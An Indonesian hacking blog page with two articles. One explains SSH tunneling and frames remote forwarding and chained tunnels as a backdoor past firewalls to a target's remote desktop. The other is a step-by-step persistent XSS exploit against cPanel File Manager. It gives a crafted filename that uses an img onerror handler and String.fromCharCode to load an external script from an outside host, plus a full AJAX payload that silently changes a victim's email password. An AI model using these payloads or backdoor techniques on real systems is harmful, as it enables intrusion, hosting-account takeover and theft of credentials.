Selasa, 11 Januari 2011

Kupas Tuntas SSH Tunneling

SSH Tunneling adalah teknik yang wajib dikuasai hacker. Teknik ini sangat cocok dipakai sebagai backdoor dari  dunia luar langsung menembus ke dalam “behind enemy lines” melewati semua firewall, IDS, IPS atau apapun itu di perbatasan. Dalam artikel ini saya juga menjelaskan bagaimana melakukan chaining tunnel, yaitu menyambung tunnel dengan tunnel lain.
Apa itu Tunneling?
Secara sederhana tunneling berarti mengirimkan data melalui koneksi lain yang sudah terbentuk. Kalau anda buka situs internet banking, pasti anda akan membukanya dengan URL berawalan “https”, yang sejatinya adalah data dalam protokol HTTP yang dikirimkan melalui koneksi dengan protokol SSL, atau “HTTP over SSL”, dalam bahasa gaulnya berarti HTTP digendong sama SSL.
SSH dan SSL adalah dua contoh tunneling protocol, keduanya bisa dipakai untuk menggendong data dalam protokol apa saja (tidak hanya http). Hanya bedanya adalah pada SSL dibutuhkan public key certificate dalam format X.509 yang perlu diverifikasi melalui Certificate Authority resmi. SSH tidak memerlukan public key certificate, sehingga lebih sederhana dan lebih mudah dipakai.
Protocol Encapsulation
Dalam kasus https, data dalam protokol HTTP di-enkapsulasi (dibungkus) dalam protokol SSL sebagai payload. Enkapsulasi juga terjadi dalam layer model TCP/IP, yaitu data pada layer yang lebih atas menjadi payload dan di-enkapsulasi dengan protokol pada layer di bawahnya.
Anda tentu tahu boneka lucu terbuat dari kayu dari Rusia bernama Matryoshka. Keunikan boneka ini adalah boneka yang berukuran kecil bisa dimasukkan ke dalam boneka yang lebih besar, dan boneka yang lebih besar juga bisa dimasukkan ke dalam boneka yang lebih besar lagi hingga pada akhirnya hanya ada satu boneka saja yang paling besar. Bila boneka yang paling besar itu dibuka, maka di dalamnya akan ada satu boneka yang lebih kecil, bila boneka tersebut dibuka, maka akan ditemukan boneka lagi yang lebih kecil, demikian seterusnya hingga boneka yang terkecil.
Gambar di bawah ini sangat tepat menggambarkan apa itu protocol encapsulation.

Gambar di atas menggambarkan bagaimana data ketika dikirim dienkapsulasi dan dikirimkan melalui protokol yang berada pada layer di bawahnya. Pada gambar di atas bisa dikatakan bahwa email message tersebut dikirimkan dalam bentuk paket SMTP over TCP over IP over Ethernet. Jadi pada akhirnya semua data tersebut akan terkirim dalam bentuk paket ethernet.
Dalam ilustrasi boneka matryoshka, pesan email adalah boneka matryoshka terkecil. Boneka ini dimasukkan dalam boneka matryoshka SMTP yang ukurannya lebih besar, kemudian boneka matryoshka SMTP ini dimasukkan dalam boneka matryoshka TCP, kemudian boneka matryoshka TCP ini dimasukkan dalam boneka matryoshka IP, dan akhirnya dimasukkan ke dalam boneka matryoshka ethernet yang berukuran paling besar.
Jadi boneka matryoshka yang diterima lawan biacara adalah boneka matryoshka yang terbesar. Bila boneka ini dibuka, di dalamnya ada boneka Matryoshka IP yang lebih kecil, dan bila boneka ini juga dibuka, di dalamnya ada boneka matryoshka TCP yang semakin kecil ukurannya. Bila boneka matryoshka TCP ini dibuka, di dalamnya ada boneka matryoshka SMTP yang didalamnya ada matryoshka email message. Email message adalah boneka matryoshka terkecil.
Port Forwarding
Port forwarding atau port mapping pengalihan (redirection) koneksi dari suatu IP:Port ke IP:Port yang lain.  Ini artinya adalah semua koneksi yang ditujukan ke IP:Port asal akan dialihkan ke IP:Port tujuan seolah-olah client sedang menghubungi IP:Port tujuan secara langsung.
Contoh: bila kita definisikan port forwarding 127.0.0.1:8080 dipetakan ke 192.168.10.10:80, artinya bila browser di arahkan ke url http://127.0.0.1:8080, maka request HTTP tersebut akan diteruskan ke 192.168.10.10:80. Jadi walaupun pada localhost (127.0.0.1) port 8080 tidak ada web server, namun web browser bisa membuka web pada url http://localhost:8080.
Gambar di bawah ini adalah contoh port forwarding dari web nakahara-informatics.com.



Pada port forwarding tersebut, didefinisikan sehingga klien dari dunia luar bisa mengakses service yang ada pada jaringan internal. Port forwarding yang didefinisikan adalah:
  • 64.130.31.59:10004 –> 192.168.1.103:22
  • Artinya untuk SSH ke host 192.168.1.103, maka client harus ssh ke IP 64.130.31.59 port 10004.
  • 64.130.31.59:10001 –> 192.168.1.100:22
  • Artinya untuk SSH ke host 192.168.1.100, maka client harus ssh ke IP 64.130.31.59 port 10001.
  • 64.130.31.59:8080 –> 192.168.1.102:80
  • Artinya untuk mengakses halaman web di host 192.168.1.102, maka url yang harus dibuka di browser adalah http://64.130.31.59:8080
Port forwarding pada ssh, mirip dengan port forwarding pada gambar di atas, namun ada sedikit perbedaan. Pada port forward gambar di atas, titik koneksi masuk dan keluar sama, artinya koneksi masuk ke IP dan port tertentu, dan koneksi tersebut akan diforward ke tempat lain dari titik yang sama juga. Sedangkan port forwarding pada ssh, titik keluarnya berbeda dengan titik masuknya. Agar lebih jelas, silakan lihat gambar di bawah ini.


Pada gambar di atas pada bagian atas, koneksi yang masuk di titik masuk, diforward ke tujuan dari titik itu juga. Ini adalah tipikal port forwarding di router/proxy. Sedangkan pada gambar di bawahnya, koneksi yang masuk di titik masuk, diforward ke tujuan dari titik lain di ujung sebelah kanan. Kotak panjang yang menghubungkan dua titik berwarna oranye tersebut menggambarkan koneksi ssh. Koneksi yang masuk akan diforward dari ujung koneksi ssh, bukan dari titik masuknya.
Konsep SSH Tunneling
SSH adalah protokol yang multiguna, selain untuk menggantikan telnet, SSH juga mendukung fitur tunneling, port forwarding, download/upload file (Secure FTP), SOCKS proxy dsb. Semua fitur tersebut dibungkus dengan enkripsi sehingga data yang lewat melalui protokol ini aman dari jangkauan hacker.
Dalam ssh tunneling, data yang dikirimkan melalui koneksi ssh akan di-enkapsulasi (dibungkus) dalam paket SSH seperti pada gambar di bawah ini.







Selain enkapsulasi paket, dalam ssh tunnel juga dibutuhkan port forwarding. Port forwarding dalam SSH tunnel ada 3 jenis:
  • Local Port Forwarding
  • Remote Port Forwarding
  • Dynamic Port Forwarding
Perhatikan gambar di bawah ini untuk memahami perbedaan antara local port forwarding dan remote port forwarding.







 

Dari gambar di atas jelas terlihat bahwa perbedaan antara local dan remote port forwarding.
  • Pada local port forwarding, komputer yang bertindak sebagai ssh client akan menjadi titik masuk koneksi yang akan diforward dan komputer yang bertindak sebagai ssh server menjadi titik keluar. Jadi koneksi yang masuk ke titik masuk di komputer ssh client akan diforward ke tujuan dari komputer ssh server. Gambar di bawah ini ilustrasi lain dari ssh local port forwarding.





 Pada remote port forwarding, komputer yang bertindak sebagai ssh server akan menjadi titik masuk koneksi yang akan diforward dan komputer yang bertindak sebagai ssh client menjadi titik keluar. Jadi koneksi yang masuk ke titik masuk di komputer ssh server akan diforward ke tujuan dari komputer ssh client. Gambar di bawah ini ilustrasi lain dari ssh remote port forwarding.





Jadi yang perlu diingat dalam perbedaan antara local dan remote port forwarding adalah posisi titik masuk koneksi yang akan diforward. Bila titik masuknya ada di komputer yang berperan sebagai ssh client, maka itu adalah local port forwarding, namun bila titik masuknya di komputer ssh server, maka itu adalah remote port forwarding.

Dalam bahasa sederhananya, disebut local karena dari sudut pandang ssh client, titik masuknya ada di localhost, dan disebut remote karena titik masuknya bukan di localhost, tapi di komputer ujung sana.
Static vs Dynamic Port Forwarding
Sebenarnya dynamic port forwarding termasuk local port forwarding juga karena pada dynamic port forwarding, titik masuk koneksi yang akan diforward berada di komputer yang berperan sebagai ssh client. Namun pada local dan remote port forwarding biasa (static), IP address dan port asal dan tujuan harus disetting dulu sebelum bisa dipakai, jadi sifatnya statis.







Gambar di atas adalah (static) local port forwarding biasa. Pada local port forwarding biasa (static), setiap pemetaan port asal dan IP:port tujuannya harus disetting satu per satu. Jadi terlihat pada gambar di atas, bila ada 3 tujuan yang ingin dihubungi, maka 3 pemetaan port asal dan IP:port tujuan harus disetting semua sebelum bisa dipakai.
Pada gambar di atas terlihat di ssh client ada 3 port yang LISTEN (3 bulatan merah di sisi ssh client)  untuk 3 tujuan yang berbeda. Perlu dicatat juga bahwa ketiga pemetaan port forwarding tersebut dilakukan di atas satu koneksi ssh yang sama (multiple port forwarding on single ssh conection).







Sedangkan pada dynamic (local) port  forwarding, kita tidak perlu menentukan pemetaan port asal dan IP:tujuan untuk setiap tujuan. Kita hanya perlu menentukan port berapa yang akan LISTEN di localhost (di komputer ssh client), dan semua aplikasi bisa memanfaatkan port tersebut sebagai proxy ke tujuan manapun dengan protokol SOCKS (SOCKS proxy). Berbeda dengan gambar sebelumnya, pada dynamic port forwarding di sisi ssh client hanya ada satu port yang LISTEN (hanya ada satu bulatan merah).
Multiple Port Forwarding on Single SSH Connection
Walaupun jarang dipakai, namun sebenarnya ssh mendukung banyak port forwarding dalam satu koneksi ssh. Kalau kita membutuhkan 3 local port forwarding dan 4 remote port forwarding, kita tidak perlu membuat 7 koneksi ssh, cukup satu koneksi ssh saja.







Gambar di atas memperlihatkan ilustrasi multi port forwarding pada satu koneksi ssh yang sama. Dalam satu koneksi ssh tersebut port forwarding yang dibuat adalah:
  • Panah berwarna hitam paling atas adalah local port forwarding.
  • Panah berwarna biru dan biru gelap di tengah adalah dynamic port forwarding.
  • Panah berwarna hijau paling bawah adalah remote port forwarding.
Daripada membuat 3 koneksi ssh untuk masing-masing port forwarding, jauh lebih sederhana dan praktis membuat multi port forwarding pada satu koneksi ssh.
Membuat Local Port Forwarding
Sekarang setelah memahami konseptualnya, kita langsung praktek bagaimana membuat ssh tunnel dengan putty di Windows dan command line ssh di Linux.Command untuk membuat local port forwarding secara umum adalah:
ssh -L localport:servertujuan:porttujuan user@ssh_server
Contohnya adalah:
ssh -L 8888:www.kompas.com:80 admin@serverku.com
Perintah di atas akan membuat semua koneksi ke port 8888 di localhost, dialihkan ke www.kompas.com port 80 melalui serverku.com. Titik masuknya adalah localhost:8888 dan titik keluarnya adalah serverku.com. Bila kita membuka browser ke URL http://localhost:8888, request HTTP tersebut akan sampai di www.kompas.com:80 melalui serverku.com, artinya dari sudut pandang www.kompas.com koneksi berasal dari serverku.com, bukan dari komputer yang menjalankan perintah tersebut. Dalam log web server www.kompas.com, IP address visitor adalah ip address serverku.com, bukan ip address komputer yang menjalankan perintah tersebut.


Kalau dalam windows, kita bisa gunakan putty.exe untuk membuat local port forwarding tunnel. Gambar di bawah ini adalah setting untuk forward koneksi localhost:8888 ke www.kompas.com:80. Caranya adalah dengan memasukkan 8888 ke dalam field “Source port”, dan memasukkan www.kompas.com:80 ke dalam field “Destination”. Setelah itu klik “Add”. Anda bisa menambahkan port forwarding yang lain sebanyak yang anda butuhkan dengan mengulang cara yang sama lalu klik “Add” lagi.







Membuat Remote Port Forwarding
Command untuk membuat remote port forwarding di Linux secara umum adalah:
ssh -R remoteport:servertujuan:porttujuan user@ssh_server
Contohnya adalah:
ssh -R 8080:192.168.1.1:80 admin@serverku.com
Perintah di atas akan membuat setiap koneksi ke serverku.com:8080 akan dialihkan ke 192.168.1.1 melalui komputer yang menjalankan perintah tersebut. Pada log server tujuan (192.168.1.1:80) yang terlihat dari koneksi yang masuk bukan ip address serverku.com. Server 192.168.1.1:80 akan melihat koneksi berasal dari komputer yang menjalankan perintah di tersebut (komputer ssh client).
Kalau dengan putty caranya masukkan 9999 ke dalam kolom “Source port”, kemudian masukkan 192.168.1.1:80 sebagai kolom “Destination”, lalu klik Add. Anda bisa menambahkan banyak port forwarding dalam satu koneksi ssh, dengan cara yang sama, lalu klik Add sebanyak yang anda butuhkan.





Remote port forwarding ini sangat cocok dipakai sebagai backdoor. Bila seorang hacker telah berhasil menyusup hingga “behind enemy lines”, dia bisa membuat remote port forwarding tunnel dari “behind enemy lines” ke server di luar milik hacker. Ini artinya hacker telah membuat terowongan, dengan pintu masuk di luar, dan pintu keluar di “behind enemy lines”. Ingat pada Remote port forwarding, titik/pintu masuk adalah di sisi ssh server, dan titik/pintu keluar di ssh sisi client. Dengan memakai terowongan ini, hacker bisa masuk melalui pintu di servernya sendiri yang berada di luar, dan secara otomatis hacker tersebut masuk ke “behind enemy lines” karena pintu keluar dari terowongan ini ada di “behind enemy lines”.


Chaining Tunnel
Terkadang ketika melakukan penetrasi, di dunia nyata keadaan tidaklah semulus dan seindah teori atau dalam lab. Firewall seringkali membuat kita tidak bisa bebas membuat koneksi ke server yang kita inginkan. Dalam situasi seperti ini kita harus berputar-putar melalu beberapa server, sampai kita bisa mencapai server target.





Perhatikan gambar di atas, target yang akan diserang hacker adalah server D.D.D.D port 3389, yaitu Remote Desktop connection, hacker ingin melakukan remote desktop komputer tersebut. Namun server D hanya bisa diakses oleh server C, dan server C hanya bisa diakses dari A. Hacker sudah menguasai penuh server A dan C, bagaimana caranya hacker tersebut bisa remote desktop ke D ?
Tujuan akhirnya adalah hacker ingin koneksi ke localhost:9999 di laptop backtracknya, akan diforward ke D.D.D.D:3389. Jadi nanti dia tinggal menjalankan RDP client dengan memasukkan localhost:9999, dan dia otomatis akan terkoneksi ke RDP di server D. Sebagai info tambahan, komputer A dan C adalah linux dengan ssh service diaktifkan.
Mari kita coba membuat semua tunnel ini purely hanya dengan ssh.
1. Buat port forwarding localhost:9999 –> C.C.C.C:8888 via A.A.A.A.
Hacker menjalankan ssh client di backtracknya untuk membuat koneksi ke ssh server A.A.A.A. Dalam koneksi ssh ini, dia membuat local port forwarding 9999:C.C.C.C:8888, yang artinya adalah koneksi ke port 9999 di backtrack si hacker akan diforward ke C.C.C.C:8888 via A.A.A.A.
2. Buat port forwarding C.C.C.C:8888 –> D.D.D.D:3389 via C.C.C.C
Di komputer C, hacker membuat koneksi ssh ke localhost (ke C itu sendiri). Dalam koneksi ssh ke diri sendiri ini dia membuat local port forwarding 8888:D.D.D.D:3389. Artinya adalah koneksi ke C.C.C.C:8888 akan diforward ke D.D.D.D:3389 (via C.C.C.C itu sendiri).
Kita membuat 2 tunnel, yang pertama adalah tunnel dengan pintu masuk di backtrack hacker dan pintu keluar di A.A.A.A. Tunnel kedua adalah denngan pintu masuk dan pintu keluar di C juga.
Pada tunnel pertama, koneksi ke pintu masuk di backtrack hacker (localhost:9999), akan diforward ke C.C.C.C:8888 via A.A.A.A Sedangkan pada server C.C.C.C sudah dibuat port forwarding sehingga semua koneksi yang masuk ke C.C.C.C:8888 akan diforward menuju D.D.D.D:3389.
Jadi akhirnya nanti alurnya adalah:
localhost:9999 –> C.C.C.C:8888 –> D.D.D.D:3389






 Gambar di atas menunjukkan chain tunnel yang dibuat. Koneksi ke localhost:9999 akan diteruskan ke C.C.C.C:888 dan koneksi ke C.C.C.C:8888 akan diteruskan ke D.D.D.D:3389. Jadi sama artinya dengan koneksi ke localhost:9999 diteruskan ke D.D.D.D:3389.

credits:  Rizki Wicaksono







Cpanel File Manager XSS Attack

Cpanel adalah aplikasi pengelolaan hosting yang sangat vital karena dengan aplikasi ini seseorang bisa mengelola semua hal yang terkait dengan hosting antara lain website, email, kunci SSL dan PGP, mysql database, DNS, domain dan masih banyak lagi. Oleh karena itu sangat berbahaya bila account cpanel seseorang berhasil dibajak orang lain. Dalam artikel ini akan saya jelaskan salah satu serangan yang sangat berbahaya, yaitu XSS (Cross Site Scripting) pada File Manager Cpanel, serangan ini menyerang pengguna yang sedang login dalam cpanel, kemudian menjalankan script dengan hak yang sama dengan pemilik account cpanel. Vulnerability ini saya temukan di cpanel versi 11.24.4-CURRENT, diuji coba dengan browser Firefox 3.0.7.
Sekilas tentang CPanel File Manager
Cpanel terdiri dari berbagai macam aplikasi, salah satunya adalah file manager, yang berfungsi untuk mengelola file dalam account hosting. Dengan file manager, seorang pengguna bisa menghapus, membuat, mengedit file dalam file system.
File manager pada cpanel ada dua, yaitu “File Manager” dan “Legacy File Manager”. Perbedaan keduanya hanya pada soal tampilan saja. Legacy adalah versi dengan tampilan yang lebih sederhana dan tidak terlalu banyak menggunakan javascript. Namun dari sisi fungsi keduanya relatif sama, hanya ada penambahan fitur compress, ekstrak pada versi modernnya.




Standard File Manager 



Legacy File Manager

Persistent XSS Attack by Crafting Malicious File Name
Kedua jenis file manager cpanel rentan terhadap serangan XSS. File manager cpanel tidak memfilter nama file yang ditampilkan di web sehingga attacker bisa menginjeksi script atau kode html dengan cara membuat file dengan nama yang mengandung kode html dan javascript.
Dilihat dari tingkat bahayanya, serangan pada Legacy File Manager lebih berbahaya karena hanya dengan melihat nama filenya saja malicious code yang dikirimkan attacker akan dieksekusi browser. Dalam file manager yang standard, cpanel berhasil memfilter karakter berbahaya dari nama file sehingga malicious code tidak dieksekusi dalam halaman daftar file. Namun, cpanel rupanya lupa untuk memfilter task delete, copy, move, code/html editor,compress, change permission. Agar malicious code attacker dieksekusi browser, korban harus memilih file tersebut dengan checkbox, kemudian melakukan salah satu diantara: delete,copy,move,edit,compress atau change permission.
Jadi jelas bahwa serangan xss ini lebih berbahaya pada Legacy File Manager, karena korban tidak perlu berbuat apa-apa lagi selain melihat daftar file dalam suatu folder. Oleh karena itu dalam artikel ini saya akan memfokuskan pembahasan pada serangan ke Legacy File Manager namun dengan exploit yang bisa bekerja di kedua jenis file manager. 

Attacking Legacy File Manager (LFM)
Mari kita lihat bagaimana LGM menampilkan nama file dalam daftar file di web. Gambar di bawah ini menunjukkan bagaimana 2 file dalam suatu folder ditampilkan di web.
 

File list in legacy file manager
Ada dua file yang saya jadikan contoh di atas, yaitu:
">
filenametestonly
Ada tiga hal yang bisa disimpulkan dari cara cpanel menampilkan nama file:
  1. Tiap nama file ditulis sebagai bagian dari URL pada query string dir=PATH&file=NAMAFILE. URL tersebut diapit oleh karakter double quote sehingga attacker harus menambahkan double quote . Kemudian harus diikuti juga dengan karakter > agar menutup tag sebelumnya dan tag selanjutnya dianggap tag yang terpisah.
  2. Bila nama file mengandung karakter double quote ("), maka akan diawali dengan backslash menjadi \". Ini akan menjadi masalah, sehingga attacker harus menghindari double quote dalam nama file agar serangannya berhasil. Double quote yang boleh dimasukkan hanya pada awal nama file seperti pada paragraf di atas.
  3. Tiap nama file akan ditampilkan sebanyak 3x. Ini tidak terlalu bermasalah, hanya fakta bahwa script yang diinjeksi attacker akan dieksekusi 3x oleh browser.
Batasan dalam pembuatan nama file oleh sistem operasi juga perlu diperhatikan. Contoh dalam artikel ini menggunakan cpanel di Linux sehingga batasan nama file yang dibolehkan mengikuti aturan Linux. Nama file di linux maksimum sepanjang 256 karakter. Karakter yang terlarang digunakan salah satunya adalah slash (/). Oleh karena itu attacker harus bisa membuat serangan dengan nama file tidak lebih dari 256 karakter dan tidak boleh mengandung karakter slash.
Attack using IMG tag to load external script
Karena batasan dari cpanel dan filesystem yang dijelaskan di atas, maka attacker harus membuat nama file seperti berikut ini:
  • Panjang maksimum 256 karakter.
  • Tidak mengandung karakter terlarang seperti slash dan double quote.
Karena tidak mungkin serangan yang efektif bisa dilancarkan bila hanya mengandalkan 256 karakter saja, attacker harus membuat browser me-load external script. Sayangnya penggunaan tag script tidak dimungkinkan karena tag ini menuntut digunakannya tag yang mengandung karakter slash.
Cara yang saya pakai agar browser mau meload script external adalah:
  1. Menginjeksi javascript dalam tag img
  2. Javascript dalam tag img melakukan document.write() yang isinya adalah tag script dengan atribut src dari url luar.
Saya memilih menggunakan tag IMG karena tag ini sifatnya tunggal, tidak perlu ditutup dengan tag . Bagaimana caranya tag img bisa mengeksekusi javascript?
Awalnya saya mencoba memasukkan javascript dalam atribut SRC, namun ternyata cara ini tidak berlaku di firefox. Kemudian saya coba letakkan script dalam atribut onError, yang artinya bila image dalam tag img ini gagal diload, maka script dalam atribut onError akan dieksekusi. Dengan cara ini maka agar script dalam onError selalu dieksekusi, maka saya harus membuat image selalu gagal diload. Itu mudah saya hanya perlu mengosongkan atribut SRC, sehingga img selalu gagal loading dan artinya script selalu dieksekusi. Cara ini berhasil di Firefox dan Internet Explorer, saya belum coba untuk browser lainnya.
Ada satu masalah lagi, yaitu bagaimana cara menghindari penggunaan karakter slash dalam menyebutkan URL? URL berisi script biasanya dalam bentuk http://evilsite.com/path/file.js, sehingga minimal mengandung 3 karakter slash. Nantinya url ini akan dimasukkan dalam atribut SRC dalam tag script.
Namun tag script tidak langsung dituliskan dalam nama file, melainkan ditulis oleh javascript dalam tag img dengan fungsi document.write(). Fungsi document.write meminta masukan berupa string, yang nantinya akan kita isi dengan tag script. Karena masukannya berupa string, maka saya bisa pakai fungsi String.fromCharCode() untuk menghasilkan string dari kode ASCII.
URL external berisi script yang akan saya injeksikan adalah: http://www.ilmuhacking.com/x.js . Sehingga script dalam tag img harus membuat tag berikut dengan fungsi document.write():
<script src=http://www.ilmuhacking.com/x.js></script>
Javascript untuk membuat tag script dengan url seperti di atas adalah:
document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,105,108,109,117,104,97,99,107,105,110,103,46,99,111,109,47,120,46,106,115,62,60,47,115,99,114,105,112,116,62))
Deretan angka pada fungi String.fromCharCode adalah kode ASCII dari masing-masing karakter dari script tag yang akan meload external script. Javascript tersebut harus dimasukkan ke dalam atribut onError dari tag img. Jadi tag img yang akan dipakai untuk meload external javascript adalah berikut ini:
<img src='' onerror='document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,105,108,109,117,104,97,99,107,105,110,103,46,99,111,109,47,120,46,106,115,62,60,47,115,99,114,105,112,116,62))'>
Sebelumnya sudah saya jelaskan bahwa nama file ditampilkan dalam source htmlnya sebagai bagian dari tag lain. Contohnya adalah tag berikut:
<a href="selfile.html?dir=/home&file=cpbackup-exclude.conf" target="filewindow">
Bila attacker memasukkan tag img, yang terjadi adalah:
<a href="selfile.html?dir=/home&file=" target="filewindow">
Perhatikan bahwa tag img tersebut terlihat sebagai bagian dari atribut href dari tag A sehingga browser tidak menganggap ada tag image. Agar attacker bisa menginjeksi tag img dengan benar, maka tag A yang melingkupi harus ditutup dulu. Cara menutupnya adalah dengan menambahkan dua karakter: “>

Gambar di atas adalah penjelasan mengapa diperlukan double quote dan > di awal. Dalam gambar diberikan 3 contoh, dari nama file yang normal, kemudian nama file dengan tag img, dan terakhir diawali dengan double quote dan greater than (“>). Nama file tanpa diawali “> akan menjadi bagian dari atribut href dari tag A, namun bila diawali dengan “> maka karakter sesudah 2 karakter itu sudah bukan bagian dari tag A.
Jadi sesuai penjelasan di atas, nama file yang akan dijadikan serangan harus diawali dengan “> sehingga nama file akhir yang harus dibuat untuk melakukan serangan adalah:
">




Dalam gambar di atas saya menunjukkan cara membuat file dengan nama yang mengandung tag img dari console Linux. Membuat file bisa juga dilakukan dengan upload file bila di web tersebut memberikan kebebasan penggunanya untuk upload misal untuk gambar profil atau album foto. Setelah file yang namanya mengandung exploit xss dibuat, maka berikutnya bila seseorang membuka cpanel dan melihat daftar file dalam folder tempat exploit xss berada, maka script attacker akan dieksekusi browser, secara otomatis, tanpa perlu pengguna berbuat sesuatu lagi.






script at http://www.ilmuhacking.com/x.js executed
Attacking (Standard) File Manager
Exploit yang saya jelaskan untuk LFM bisa juga dipakai untuk standard file manager. Hanya saja bedanya script yang diinjeksi attacker hanya bisa dieksekusi bila korban memilih file tersebut lalu melakukan: delete,edit,rename,copy,move,compress,change permission. Bila korban memakai standard file manager, kemungkinan code dieksekusi tidak sebesar pada LFM. Exploit yang sama bila dilihat dengan standard file manager seperti pada gambar berikut:






 

file list not vulnerable

Memang file list tidak vulnerable, namun bila korban memilih file tersebut, kemudian memilih salah satu diantara: delete,copy,move,rename,change permission,compress, maka script akan dieksekusi seperti pada gambar berikut: 

remote script executed

Remote Attack Scenario
Mungkin anda mengira serangan ini hanya bisa dilancarkan secara lokal, setidaknya harus memiliki akses membuat file. Sebenarnya serangan ini bisa dilancarkan secara remote. Salah satu skenario yang mungkin adalah:
Pada web dengan fitur album foto memungkinkan pengguna untuk upload gambar. Attacker bisa melancarkan serangan ini secara remote dengan upload file gambar dengan malicious file name, kemudian menunggu owner website browsing dengan Cpanel File Manager. Ketika cpanel file manager menampilkan file dengan malicious name ke browser owner…Boom! Ranjau diinjak korban, script attacker akan dieksekusi. 

Example Payload: Changing Victim Email Address

 
Setelah berhasil membuat browser mengeksekusi remote script, kini saya bebas mengisi script dengan apa pun yang saya inginkan. Dalam artikel ini saya akan memberi contoh script untuk mengubah password email korban dengan menggunakan fungsi AJAX.
Form untuk mengubah password email tidak memerlukan current password, pengguna hanya perlu memasukkan password baru saja. Oleh karena itu saya bisa membuat script yang melakukan submit form tersebut. Script untuk mengubah password email korban adalah:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
var http_request = false;
function makePOSTRequest(url, parameters) {
http_request = false;
if (window.XMLHttpRequest) { // Mozilla, Safari,...
 http_request = new XMLHttpRequest();
 if (http_request.overrideMimeType) {
        // set type accordingly to anticipated content type
    //http_request.overrideMimeType('text/xml');
    http_request.overrideMimeType('text/html');
 }
} else if (window.ActiveXObject) { // IE
 try {
    http_request = new ActiveXObject("Msxml2.XMLHTTP");
 } catch (e) {
    try {
       http_request = new ActiveXObject("Microsoft.XMLHTTP");
    } catch (e) {}
 }
}
if (!http_request) {
 alert('Cannot create XMLHTTP instance');
 return false;
}

http_request.onreadystatechange = alertContents;
http_request.open('POST', url, true);
http_request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http_request.setRequestHeader("Content-length", parameters.length);
http_request.setRequestHeader("Connection", "close");
http_request.send(parameters);
}

function alertContents() {
if (http_request.readyState == 4) {
 if (http_request.status == 200) {
    //alert(http_request.responseText);
    result = http_request.responseText;
    alert(result);
 } else {
    alert('There was a problem with the request.');
 }
}
}

var poststr =
            "quota=" + encodeURI("250") +
            "&password2=" + encodeURI("newpassword") +
            "&password=" + encodeURI("newpassword") +
            "&email=" + encodeURI("testing") +
            "&domain=" + encodeURI("wannabehacker.org" );
makePOSTRequest('/frontend/x3/mail/dopasswdpop.html', poststr);
Script di atas melakukan POST request dengan fungsi AJAX, ke URL /frontend/x3/mail/dopasswdpop.html bersama dengan POST data: quota (dalam mega byte), password, password2, email dan domain.
Masih banyak payload lain yang bisa dibuat antara lain membuat user mysql baru, mencuri private key PGP dsb. Semua yang bisa dilakukan korban ketika login cpanel, bisa juga dilakukan dengan exploit script xss.

credits : -a17z-